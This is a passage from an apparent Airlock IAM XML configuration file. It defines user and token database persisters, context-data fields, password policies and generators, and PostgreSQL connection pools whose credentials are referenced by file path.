  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="620086a7-3cef-40de-8be7-9dca662af76c">
    <property name="contextDataName">givenname</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="66950718-a3af-4db0-a091-f3761c6d4c19">
    <property name="contextDataName">street</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="686280a8-230b-4082-8bbd-fc46045383d0">
    <property name="contextDataName">streetNumber</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="6f0031b0-ee7a-4d2d-bc3f-164e951752d8">
    <property name="contextDataName">town</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="7037f493-fc5f-432a-89a3-683c50f26cd2">
    <property name="contextDataName">disclaimer_tag</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="76d56622-9953-4a29-8160-7cbe68eb254d">
    <property name="contextDataName">salutation</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="7791d78c-a809-4e10-8215-889bed856f49">
    <property name="contextDataName">company</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="78586132-25f8-4c1c-8553-43affc1fa456">
    <property name="contextDataName">streetNumber</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="814167e6-b801-4a68-bea3-4633eb3948a2">
    <property name="contextDataName">country</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="870f4c16-e393-41d5-bf5a-9a23a1ad8def">
    <property name="contextDataName">town</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="8cd6bc1f-4a63-4580-bf64-11802bde9408">
    <property name="contextDataName">street</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="8f2d21dd-72ad-4a9e-9708-db8229628409">
    <property name="contextDataName">remember_me_secret</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="90cd647c-f2e1-40f5-985d-e5419995a503">
    <property name="contextDataName">state</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="93ac1c2c-e722-4087-8509-bd677636dcdc">
    <property name="contextDataName">address2</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="9467dab0-9e68-40e2-9a32-13ecb7fa47cc">
    <property name="contextDataName">givenname</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="983ab003-d116-4282-99e3-664f3810581a">
    <property name="contextDataName">address2</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="9eb43a3f-0251-43bb-8c43-7d4483cf92c1">
    <property name="contextDataName">email</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="9fb47339-4b24-422a-85ed-e432e6e41299">
    <property name="contextDataName">remember_me_secret</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="ae575595-be3d-4be4-93ec-39018c26f730">
    <property name="contextDataName">realm</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="b1dc7b01-b109-49f4-944c-cb3aa5225d82">
    <property name="contextDataName">zipcode</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="b8f7c53e-32d6-4b9a-9c96-c8b99bb43a09">
    <property name="contextDataName">country</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="cab0755f-5622-4fff-a1f4-8b9e764d4d00">
    <property name="contextDataName">company</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="e4bef5ea-9c33-48c6-8c36-101b9bc08fcb">
    <property name="contextDataName">email</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="ee4603bd-65bb-40bc-aeaf-e80309b92ef6">
    <property name="contextDataName">new_email</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="fc9c4d85-78a9-46d3-996a-c676181f318d">
    <property name="contextDataName">surname</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.state.InMemoryStateRepositoryConfig" uuid="14a8170e-00fd-48a1-b9a5-a99a41f02d48"/>
  <plugin class="com.airlock.iam.core.application.configuration.state.InMemoryStateRepositoryConfig" uuid="4431e973-b6a3-459c-a233-257a05ed2cf7"/>
  <plugin class="com.airlock.iam.core.application.configuration.state.InMemoryStateRepositoryConfig" uuid="5a0e3bd1-7161-4fb0-a002-8e2ec53890ea"/>
  <plugin class="com.airlock.iam.core.application.configuration.store.user.DatabaseUserStoreProvider" uuid="92b4dbe6-9a57-4296-af9a-f1118be4dc86">
    <pluginProperty name="databaseUserPersister">
      <plugin uuidref="e29bb6ce-eb5f-4f9a-9f18-0c6a8614c6d2"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.authen.PasswordSettings" uuid="c21294a3-f950-4f7b-b8f6-de28fbf4c076">
    <property name="adminMayGeneratePassword">true</property>
    <property name="adminMaySetPassword">true</property>
    <property name="mayBeSelectedAsAuthMethod">true</property>
    <property name="newPasswordUnlocksUser">false</property>
    <property name="newPasswordsMustBeChanged">true</property>
    <pluginProperty name="passwordGenerator">
      <plugin uuidref="dc635189-b0c8-4955-be37-a50297e92f4f"/>
    </pluginProperty>
    <pluginProperty name="passwordPolicy">
      <plugin uuidref="8020c489-b2c4-4e42-afd2-d5853f4f05b3"/>
    </pluginProperty>
    <pluginProperty name="passwordService">
      <plugin uuidref="9f01e25b-17cf-486e-93bd-5663180f8035"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.ContextDataUsernameTransformer" uuid="fbd2983a-9be4-4d28-9b88-016b306c7f71">
    <property name="checkUserStoreFirst">true</property>
    <propertyList name="contextDataColumns">
      <propertyValue>email</propertyValue>
    </propertyList>
    <property name="mandatoryTransformation">true</property>
    <property name="stopAfterSuccessfulTransformation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.CustomizablePasswordPolicy" uuid="8020c489-b2c4-4e42-afd2-d5853f4f05b3">
    <property name="minimumPassedOptionalChecks">0</property>
    <pluginList name="policyChecks">
      <plugin uuidref="99aacc53-0b6e-467e-b09e-036466619292"/>
      <plugin uuidref="01972bef-e63e-479f-a0cd-ff39ac395a92"/>
      <plugin uuidref="74da43a7-3e4a-4c3d-ba0f-ff72a14a5436"/>
      <plugin uuidref="868521fd-9596-4797-9742-1d68b8edabca"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.CustomizablePasswordPolicy" uuid="e03766f6-1ecc-45b6-95d2-1e86a8e0147e">
    <property name="minimumPassedOptionalChecks">0</property>
    <pluginList name="policyChecks">
      <plugin uuidref="46f0dbbb-f9f6-49e1-92a9-916fdcb7cdb4"/>
      <plugin uuidref="322bb5c0-c9ab-4eba-9cc4-f8c0af2cbe84"/>
      <plugin uuidref="9303e7a2-bddf-4fb5-b37c-cc629aac8748"/>
      <plugin uuidref="71012f73-6452-4a0c-b3fd-e4d0d49089ea"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.ExtendedStringGenerator" uuid="dc635189-b0c8-4955-be37-a50297e92f4f">
    <pluginMap name="alphabets"/>
    <property name="checkPolicyOnInitialize">true</property>
    <pluginProperty name="passwordPolicy">
      <plugin uuidref="8020c489-b2c4-4e42-afd2-d5853f4f05b3"/>
    </pluginProperty>
    <property name="pattern">{extended:12}</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.NullPasswordPolicy" uuid="50d9b6c1-fde5-450e-833c-8f99460e99fc"/>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PersisterPasswordService" uuid="9f01e25b-17cf-486e-93bd-5663180f8035">
    <property name="checkTruncatedPassword">false</property>
    <property name="checkUsingLatin1Encoding">false</property>
    <pluginProperty name="hashFunction">
      <plugin uuidref="b82b9f6a-3503-4248-8dfd-6aede8c45792"/>
    </pluginProperty>
    <property name="maximumWrongOldPasswords">5</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicyHistoryCheck" uuid="71012f73-6452-4a0c-b3fd-e4d0d49089ea"/>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicyHistoryCheck" uuid="868521fd-9596-4797-9742-1d68b8edabca"/>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicyLengthCheck" uuid="01972bef-e63e-479f-a0cd-ff39ac395a92">
    <property name="maxAllowedLength">100</property>
    <property name="minRequiredLength">8</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicyLengthCheck" uuid="322bb5c0-c9ab-4eba-9cc4-f8c0af2cbe84">
    <property name="maxAllowedLength">100</property>
    <property name="minRequiredLength">8</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicyRequiredCharsCheck" uuid="46f0dbbb-f9f6-49e1-92a9-916fdcb7cdb4">
    <propertyList name="patterns">
      <propertyValue>[A-Z]</propertyValue>
      <propertyValue>[a-z]</propertyValue>
      <propertyValue>[0-9]</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicyRequiredCharsCheck" uuid="99aacc53-0b6e-467e-b09e-036466619292">
    <propertyList name="patterns">
      <propertyValue>[A-Z]</propertyValue>
      <propertyValue>[a-z]</propertyValue>
      <propertyValue>[0-9]</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicySillyCheck" uuid="74da43a7-3e4a-4c3d-ba0f-ff72a14a5436">
    <property name="detectEmptyPassword">false</property>
    <property name="detectKeyboardLayoutBasedPasswords">false</property>
    <property name="detectSequences">false</property>
    <property name="detectSingleCharacterPasswords">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.authen.PwdPolicySillyCheck" uuid="9303e7a2-bddf-4fb5-b37c-cc629aac8748">
    <property name="detectEmptyPassword">false</property>
    <property name="detectKeyboardLayoutBasedPasswords">false</property>
    <property name="detectSequences">false</property>
    <property name="detectSingleCharacterPasswords">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.DatabaseMaintenanceMessagePersister" uuid="9a4cf61a-101a-4f90-bf20-9b121b3b5671">
    <property name="cacheTimeout">5</property>
    <property name="messageColActive">active</property>
    <property name="messageColLocation">location</property>
    <property name="messageColName">name</property>
    <property name="messageColRecordInsertionDate">rowInsertDate</property>
    <property name="messageColRecordInsertionUser">rowUpdateUser</property>
    <property name="messageColRecordModificationDate">rowUpdateDate</property>
    <property name="messageColSystemAvailable">system_available</property>
    <property name="messageColValidFrom">valid_from</property>
    <property name="messageColValidTo">valid_to</property>
    <property name="messageColVersionId">rowVersionId</property>
    <property name="messageTable">medusa_maint_msg</property>
    <property name="recordModificationUser">Medusa</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3"/>
    </pluginProperty>
    <property name="translationColLanguage">language</property>
    <property name="translationColMessage">message</property>
    <property name="translationColMessageRef">message_ref</property>
    <property name="translationTable">medusa_maint_msg_tnsl</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.DatabaseMaintenanceMessagePersister" uuid="f02ec770-46c0-4f8a-9991-96f50817ef83">
    <property name="cacheTimeout">5</property>
    <property name="messageColActive">active</property>
    <property name="messageColLocation">location</property>
    <property name="messageColName">name</property>
    <property name="messageColRecordInsertionDate">rowInsertDate</property>
    <property name="messageColRecordInsertionUser">rowUpdateUser</property>
    <property name="messageColRecordModificationDate">rowUpdateDate</property>
    <property name="messageColSystemAvailable">system_available</property>
    <property name="messageColValidFrom">valid_from</property>
    <property name="messageColValidTo">valid_to</property>
    <property name="messageColVersionId">rowVersionId</property>
    <property name="messageTable">medusa_maint_msg</property>
    <property name="recordModificationUser">Medusa</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="2d936000-b85e-4d85-b9c4-29858e70af56"/>
    </pluginProperty>
    <property name="translationColLanguage">language</property>
    <property name="translationColMessage">message</property>
    <property name="translationColMessageRef">message_ref</property>
    <property name="translationTable">medusa_maint_msg_tnsl</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.DatabaseUserPersister" uuid="ae8baf53-522d-4e62-9aed-c6337bed6256">
    <property name="caseInsensitiveExactMatching">LOWER( %s ) = LOWER ( ? )</property>
    <property name="caseInsensitiveMatching">LOWER( %s ) LIKE LOWER ( ? )</property>
    <property name="caseSensitiveExactMatching">%s = ?</property>
    <property name="caseSensitiveMatching">%s LIKE ?</property>
    <property name="colAuthMethod">auth_method</property>
    <property name="colAuthMigrationDate">auth_migration_date</property>
    <property name="colChannelVerificationResends">channel_verification_resends</property>
    <property name="colFailedLogins">failed_logins</property>
    <property name="colFailedLoginsBeforeLatestLogin">failed_logins_before</property>
    <property name="colFailedPasswordResets">pwd_failed_resets</property>
    <property name="colFailedTokenCounts">failed_token_counts</property>
    <property name="colFirstLogin">first_login</property>
    <property name="colLastGSID">last_gsid_value</property>
    <property name="colLastGSIDDate">last_gsid_date</property>
    <property name="colLatestLoginAttempt">lat_login_attempt</property>
    <property name="colLatestPasswordChange">pwd_lat_chg</property>
    <property name="colLatestSuccessfulLogin">lat_succ_login</property>
    <property name="colLatestUnlockAttempt">lat_unlock_attempt</property>
    <property name="colNextAuthMethod">next_auth_method</property>
    <property name="colNextEnforcedPasswordChange">pwd_next_chg</property>
    <property name="colPassword">pwd_hash</property>
    <property name="colPasswordChangeForced">pwd_chg_enf</property>
    <property name="colPasswordDeliveryDate">pwd_lat_del</property>
    <property name="colPasswordGenerationDate">pwd_lat_gen</property>
    <property name="colPasswordOrderedDate">pwd_order_date</property>
    <property name="colPasswordOrderedFlag">pwd_order_new</property>
    <property name="colPasswordOrderedUser">pwd_order_user</property>
    <property name="colRecordInsertionDate">rowInsertDate</property>
    <property name="colRecordInsertionUser">rowInsertUser</property>
    <property name="colRecordModificationDate">rowUpdateDate</property>
    <property name="colRecordModificationUser">rowUpdateUser</property>
    <property name="colRoleString">roles</property>
    <property name="colSecondLatestSuccessfulLogin">lat_succ_login2</property>
    <property name="colSecretQuestionsEnabled">secret_questions_enabled</property>
    <property name="colSelfRegisteredFlag">self_registered</property>
    <property name="colSelfRegistrationDate">self_registration_date</property>
    <property name="colTotalLogins">total_logins</property>
    <property name="colUnlockAttempts">unlock_attempts</property>
    <property name="colUserLockDate">lock_date</property>
    <property name="colUserLockReason">lock_reason</property>
    <property name="colUserLocked">locked</property>
    <property name="colUserName">username</property>
    <property name="colUserNotValidAfter">not_valid_after</property>
    <property name="colUserNotValidBefore">not_valid_before</property>
    <property name="colUserValid">valid</property>
    <property name="colVersionId">rowVersionId</property>
    <pluginList name="contextDataColumns">
      <plugin uuidref="76ac53a6-bab1-4243-957a-23d738e1d08a"/>
      <plugin uuidref="4e682f92-874a-47e1-894c-521a9342628f"/>
      <plugin uuidref="51ea6faf-69ec-4004-abdf-e612c1b72767"/>
      <plugin uuidref="61508bbf-b228-4b43-83f7-13e23ec67842"/>
      <plugin uuidref="f5990038-c0af-4162-8e68-63faed8766e8"/>
      <plugin uuidref="203f97f8-b4d9-4443-bdac-63029d5acb60"/>
      <plugin uuidref="5655b12b-d95a-4a75-9e86-6c17a73bf45b"/>
      <plugin uuidref="cab33d7c-3f46-4cf5-b951-a956f068c2ce"/>
      <plugin uuidref="e29fe40f-0475-454a-8bbd-8d478cb620c9"/>
      <plugin uuidref="33becf1e-8d6f-4ccd-ab62-bbcb7254e949"/>
      <plugin uuidref="cde30fa6-6775-4e16-bb05-edad86ddb8ef"/>
      <plugin uuidref="9786273c-77eb-4132-a3eb-a7585624fe16"/>
      <plugin uuidref="19047f00-6fc4-4536-b1d1-5e894a1e7c3e"/>
      <plugin uuidref="2b65372a-18a9-4f2f-9f82-86981f7040a5"/>
      <plugin uuidref="87ce3dcb-9012-4aad-ab4b-701a3561aa88"/>
      <plugin uuidref="d20ca871-dfe4-43df-89d9-2312c0e6ae65"/>
      <plugin uuidref="1b2b8a03-b022-48ab-8ac3-6fe071a83c8e"/>
      <plugin uuidref="66280ec7-2e61-46d2-a4e4-54b88d0ecb4d"/>
      <plugin uuidref="f3940b13-e822-4ae5-aeca-6b5d61e16b98"/>
    </pluginList>
    <property name="defaultAuthMethod">PASSWORD</property>
    <property name="isPwdHashStringType">true</property>
    <property name="recordModificationUser">AirlockIAM</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3"/>
    </pluginProperty>
    <pluginList name="userChangeEventListeners">
      <plugin uuidref="d6b6acd7-98b6-4114-a1e6-176ecd218489"/>
      <plugin uuidref="365a1c04-f498-4083-9e8f-62f141950249"/>
      <plugin uuidref="48853262-a9eb-4478-a739-f01b2c449082"/>
    </pluginList>
    <property name="userTableName">medusa_user</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.DatabaseUserPersister" uuid="e29bb6ce-eb5f-4f9a-9f18-0c6a8614c6d2">
    <property name="caseInsensitiveExactMatching">LOWER( %s ) = LOWER ( ? )</property>
    <property name="caseInsensitiveMatching">LOWER( %s ) LIKE LOWER ( ? )</property>
    <property name="caseSensitiveExactMatching">%s = ?</property>
    <property name="caseSensitiveMatching">%s LIKE ?</property>
    <property name="colAuthMethod">auth_method</property>
    <property name="colAuthMigrationDate">auth_migration_date</property>
    <property name="colChannelVerificationResends">channel_verification_resends</property>
    <property name="colFailedLogins">failed_logins</property>
    <property name="colFailedLoginsBeforeLatestLogin">failed_logins_before</property>
    <property name="colFailedPasswordResets">pwd_failed_resets</property>
    <property name="colFailedTokenCounts">failed_token_counts</property>
    <property name="colFirstLogin">first_login</property>
    <property name="colLastGSID">last_gsid_value</property>
    <property name="colLastGSIDDate">last_gsid_date</property>
    <property name="colLatestLoginAttempt">lat_login_attempt</property>
    <property name="colLatestPasswordChange">pwd_lat_chg</property>
    <property name="colLatestSuccessfulLogin">lat_succ_login</property>
    <property name="colLatestUnlockAttempt">lat_unlock_attempt</property>
    <property name="colNextAuthMethod">next_auth_method</property>
    <property name="colNextEnforcedPasswordChange">pwd_next_chg</property>
    <property name="colPassword">pwd_hash</property>
    <property name="colPasswordChangeForced">pwd_chg_enf</property>
    <property name="colPasswordDeliveryDate">pwd_lat_del</property>
    <property name="colPasswordGenerationDate">pwd_lat_gen</property>
    <property name="colPasswordOrderedDate">pwd_order_date</property>
    <property name="colPasswordOrderedFlag">pwd_order_new</property>
    <property name="colPasswordOrderedUser">pwd_order_user</property>
    <property name="colRecordInsertionDate">rowInsertDate</property>
    <property name="colRecordInsertionUser">rowInsertUser</property>
    <property name="colRecordModificationDate">rowUpdateDate</property>
    <property name="colRecordModificationUser">rowUpdateUser</property>
    <property name="colRoleString">roles</property>
    <property name="colSecondLatestSuccessfulLogin">lat_succ_login2</property>
    <property name="colSecretQuestionsEnabled">secret_questions_enabled</property>
    <property name="colSelfRegisteredFlag">self_registered</property>
    <property name="colSelfRegistrationDate">self_registration_date</property>
    <property name="colTotalLogins">total_logins</property>
    <property name="colUnlockAttempts">unlock_attempts</property>
    <property name="colUserLockDate">lock_date</property>
    <property name="colUserLockReason">lock_reason</property>
    <property name="colUserLocked">locked</property>
    <property name="colUserName">username</property>
    <property name="colUserNotValidAfter">not_valid_after</property>
    <property name="colUserNotValidBefore">not_valid_before</property>
    <property name="colUserValid">valid</property>
    <property name="colVersionId">rowVersionId</property>
    <pluginList name="contextDataColumns">
      <plugin uuidref="0fb31090-6c23-4260-afae-b1326f5f72f6"/>
      <plugin uuidref="cc45d8ff-8bf2-41fa-b868-c9d2e668588e"/>
      <plugin uuidref="c77e62e5-d777-4072-9478-c4d09b47c521"/>
      <plugin uuidref="703578a4-5e28-4bbb-bb97-d2b449cec16e"/>
      <plugin uuidref="26ef6a51-7c8c-44d4-9919-4939f2973360"/>
      <plugin uuidref="aa76b41b-afe0-4660-b4ac-86121590b39a"/>
      <plugin uuidref="e64c14b3-fa5a-4988-bee2-527124425668"/>
      <plugin uuidref="ebbe317d-f277-4565-bf3c-ad4b2f5f67d8"/>
      <plugin uuidref="f59fd79c-d3fc-45b4-a20a-2dc62b83011e"/>
      <plugin uuidref="fe99bc3c-81c2-4928-9dec-f8a9a8e646c2"/>
      <plugin uuidref="6f88da36-b64f-4b74-bbce-20a92ea61d02"/>
      <plugin uuidref="d4689cc8-914a-4cb9-9d3d-2bc57000f223"/>
      <plugin uuidref="36fad496-414b-46a7-bb5a-df258d304e7e"/>
      <plugin uuidref="cb053038-d678-4c22-b890-1bbe61b89f5a"/>
      <plugin uuidref="7fd6a3f6-8998-49af-a099-787d66af870a"/>
      <plugin uuidref="65dc4979-a6ae-4b8e-9eb0-78b43da6c7d7"/>
      <plugin uuidref="9efe87c0-d841-434b-b3cf-a526daabf322"/>
      <plugin uuidref="f20318b5-986a-4f6c-b13e-5e69f0c1ca76"/>
      <plugin uuidref="b166ec26-ecfc-476a-8f4a-8ebf3dbc86b2"/>
    </pluginList>
    <property name="defaultAuthMethod">PASSWORD</property>
    <property name="isPwdHashStringType">true</property>
    <property name="recordModificationUser">AirlockIAM</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="bf82a061-f4a8-476c-9a34-6d813588e653"/>
    </pluginProperty>
    <pluginList name="userChangeEventListeners">
      <plugin uuidref="52713cc8-7320-4d1c-86d8-a548d94220f9"/>
      <plugin uuidref="936df1a7-1bf1-4472-aaac-c141e5a1e3a6"/>
      <plugin uuidref="c4b9aaf3-095d-41d3-a582-a49fb5c1520a"/>
    </pluginList>
    <property name="userTableName">medusa_user</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.JdbcConnectionPool" uuid="2d936000-b85e-4d85-b9c4-29858e70af56">
    <property name="connectionTimeoutInMs">5000</property>
    <property name="driverClass">org.postgresql.Driver</property>
    <property name="enableJmx">false</property>
    <property name="idleTimeoutInMinutes">10</property>
    <property name="leakDetectionThresholdInSeconds">10</property>
    <property name="maxLifetimeInMinutes">30</property>
    <property name="maximumPoolSize">20</property>
    <property name="minimumIdleConnections">5</property>
    <property name="password">[FILE]sensitive-values/infrastructure/secrets/postgresql-password</property>
    <property name="sqlDialect">AUTOMATIC</property>
    <property name="url">[FILE]sensitive-values/infrastructure/secrets/postgresql-url</property>
    <property name="user">[FILE]sensitive-values/infrastructure/secrets/postgresql-username</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.JdbcConnectionPool" uuid="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3">
    <property name="connectionTimeoutInMs">5000</property>
    <property name="driverClass">org.postgresql.Driver</property>
    <property name="enableJmx">false</property>
    <property name="idleTimeoutInMinutes">10</property>
    <property name="leakDetectionThresholdInSeconds">10</property>
    <property name="maxLifetimeInMinutes">30</property>
    <property name="maximumPoolSize">20</property>
    <property name="minimumIdleConnections">5</property>
    <property name="password">[FILE]sensitive-values/infrastructure/secrets/postgresql-password</property>
    <property name="sqlDialect">AUTOMATIC</property>
    <property name="url">[FILE]sensitive-values/infrastructure/secrets/postgresql-url</property>
    <property name="user">[FILE]sensitive-values/infrastructure/secrets/postgresql-username</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.db.JdbcConnectionPool" uuid="bf82a061-f4a8-476c-9a34-6d813588e653">
    <property name="connectionTimeoutInMs">5000</property>
    <property name="driverClass">org.postgresql.Driver</property>
    <property name="enableJmx">false</property>
    <property name="idleTimeoutInMinutes">10</property>
    <property name="leakDetectionThresholdInSeconds">10</property>
    <property name="maxLifetimeInMinutes">30</property>
    <property name="maximumPoolSize">20</property>
    <property name="minimumIdleConnections">5</property>
    <property name="password">[FILE]sensitive-values/infrastructure/secrets/postgresql-password</property>
    <property name="sqlDialect">AUTOMATIC</property>
    <property name="url">[FILE]sensitive-values/infrastructure/secrets/postgresql-url</property>
    <property name="user">[FILE]sensitive-values/infrastructure/secrets/postgresql-username</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.token.DatabaseTokenPersister" uuid="23ea28a4-4364-445f-96bb-44ccb81e7380">
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="bf82a061-f4a8-476c-9a34-6d813588e653"/>
    </pluginProperty>
    <property name="tokenAssignmentColAdditionalInformation">ta_additional_information</property>
    <property name="tokenAssignmentColAssignmentDate">ta_assignment_date</property>
    <property name="tokenAssignmentColAssignmentUser">ta_assignment_user</property>
    <property name="tokenAssignmentColComment">ta_comment</property>
    <property name="tokenAssignmentColOrderNew">ta_order_new</property>
    <property name="tokenAssignmentColOrderNewDate">ta_order_new_date</property>
    <property name="tokenAssignmentColOrderNewUser">ta_order_new_user</property>
    <property name="tokenAssignmentColOrderOptions">ta_order_options</property>
    <property name="tokenAssignmentColTokenId">ta_token_id</property>
    <property name="tokenAssignmentColUser">ta_user</property>
    <property name="tokenAssignmentTable">token_assignment</property>
    <property name="tokenColActivatesTokenId">activates_token_id</property>
    <property name="tokenColActivationDate">activation_date</property>
    <property name="tokenColActive">active</property>
    <property name="tokenColFirstUsageDate">first_usage_date</property>
    <property name="tokenColGenerationDate">generation_date</property>
    <property name="tokenColGenericDataElement1">generic_data_element_1</property>
    <property name="tokenColGenericDataElement10">generic_data_element_10</property>
    <property name="tokenColGenericDataElement11">generic_data_element_11</property>
    <property name="tokenColGenericDataElement12">generic_data_element_12</property>
    <property name="tokenColGenericDataElement2">generic_data_element_2</property>
    <property name="tokenColGenericDataElement3">generic_data_element_3</property>
    <property name="tokenColGenericDataElement4">generic_data_element_4</property>
    <property name="tokenColGenericDataElement5">generic_data_element_5</property>
    <property name="tokenColGenericDataElement6">generic_data_element_6</property>
    <property name="tokenColGenericDataElement7">generic_data_element_7</property>
    <property name="tokenColGenericDataElement8">generic_data_element_8</property>
    <property name="tokenColGenericDataElement9">generic_data_element_9</property>
    <property name="tokenColLatestUsageDate">latest_usage_date</property>
    <property name="tokenColObsoletesTokenId">obsoletes_token_id</property>
    <property name="tokenColSerialId">serial_id</property>
    <property name="tokenColTokenData">token_data</property>
    <property name="tokenColTokenId">token_id</property>
    <property name="tokenColTotalUsages">total_usages</property>
    <property name="tokenColTrackingId">tracking_id</property>
    <property name="tokenColType">type</property>
    <property name="tokenColValidityRangeLower">validity_range_lower</property>
    <property name="tokenColValidityRangeUpper">validity_range_upper</property>
    <property name="tokenTable">token</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.token.DatabaseTokenPersister" uuid="78651dac-e483-4abb-ab75-596d015f83a0">
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3"/>
    </pluginProperty>
    <property name="tokenAssignmentColAdditionalInformation">ta_additional_information</property>
    <property name="tokenAssignmentColAssignmentDate">ta_assignment_date</property>
    <property name="tokenAssignmentColAssignmentUser">ta_assignment_user</property>
    <property name="tokenAssignmentColComment">ta_comment</property>
    <property name="tokenAssignmentColOrderNew">ta_order_new</property>
    <property name="tokenAssignmentColOrderNewDate">ta_order_new_date</property>
    <property name="tokenAssignmentColOrderNewUser">ta_order_new_user</property>
    <property name="tokenAssignmentColOrderOptions">ta_order_options</property>
    <property name="tokenAssignmentColTokenId">ta_token_id</property>
    <property name="tokenAssignmentColUser">ta_user</property>
    <property name="tokenAssignmentTable">token_assignment</property>
    <property name="tokenColActivatesTokenId">activates_token_id</property>
    <property name="tokenColActivationDate">activation_date</property>
    <property name="tokenColActive">active</property>
    <property name="tokenColFirstUsageDate">first_usage_date</property>
    <property name="tokenColGenerationDate">generation_date</property>
    <property name="tokenColGenericDataElement1">generic_data_element_1</property>
    <property name="tokenColGenericDataElement10">generic_data_element_10</property>
    <property name="tokenColGenericDataElement11">generic_data_element_11</property>
    <property name="tokenColGenericDataElement12">generic_data_element_12</property>
    <property name="tokenColGenericDataElement2">generic_data_element_2</property>
    <property name="tokenColGenericDataElement3">generic_data_element_3</property>
    <property name="tokenColGenericDataElement4">generic_data_element_4</property>
    <property name="tokenColGenericDataElement5">generic_data_element_5</property>
    <property name="tokenColGenericDataElement6">generic_data_element_6</property>
    <property name="tokenColGenericDataElement7">generic_data_element_7</property>
    <property name="tokenColGenericDataElement8">generic_data_element_8</property>
    <property name="tokenColGenericDataElement9">generic_data_element_9</property>
    <property name="tokenColLatestUsageDate">latest_usage_date</property>
    <property name="tokenColObsoletesTokenId">obsoletes_token_id</property>
    <property name="tokenColSerialId">serial_id</property>
    <property name="tokenColTokenData">token_data</property>
    <property name="tokenColTokenId">token_id</property>
    <property name="tokenColTotalUsages">total_usages</property>
    <property name="tokenColTrackingId">tracking_id</property>
    <property name="tokenColType">type</property>
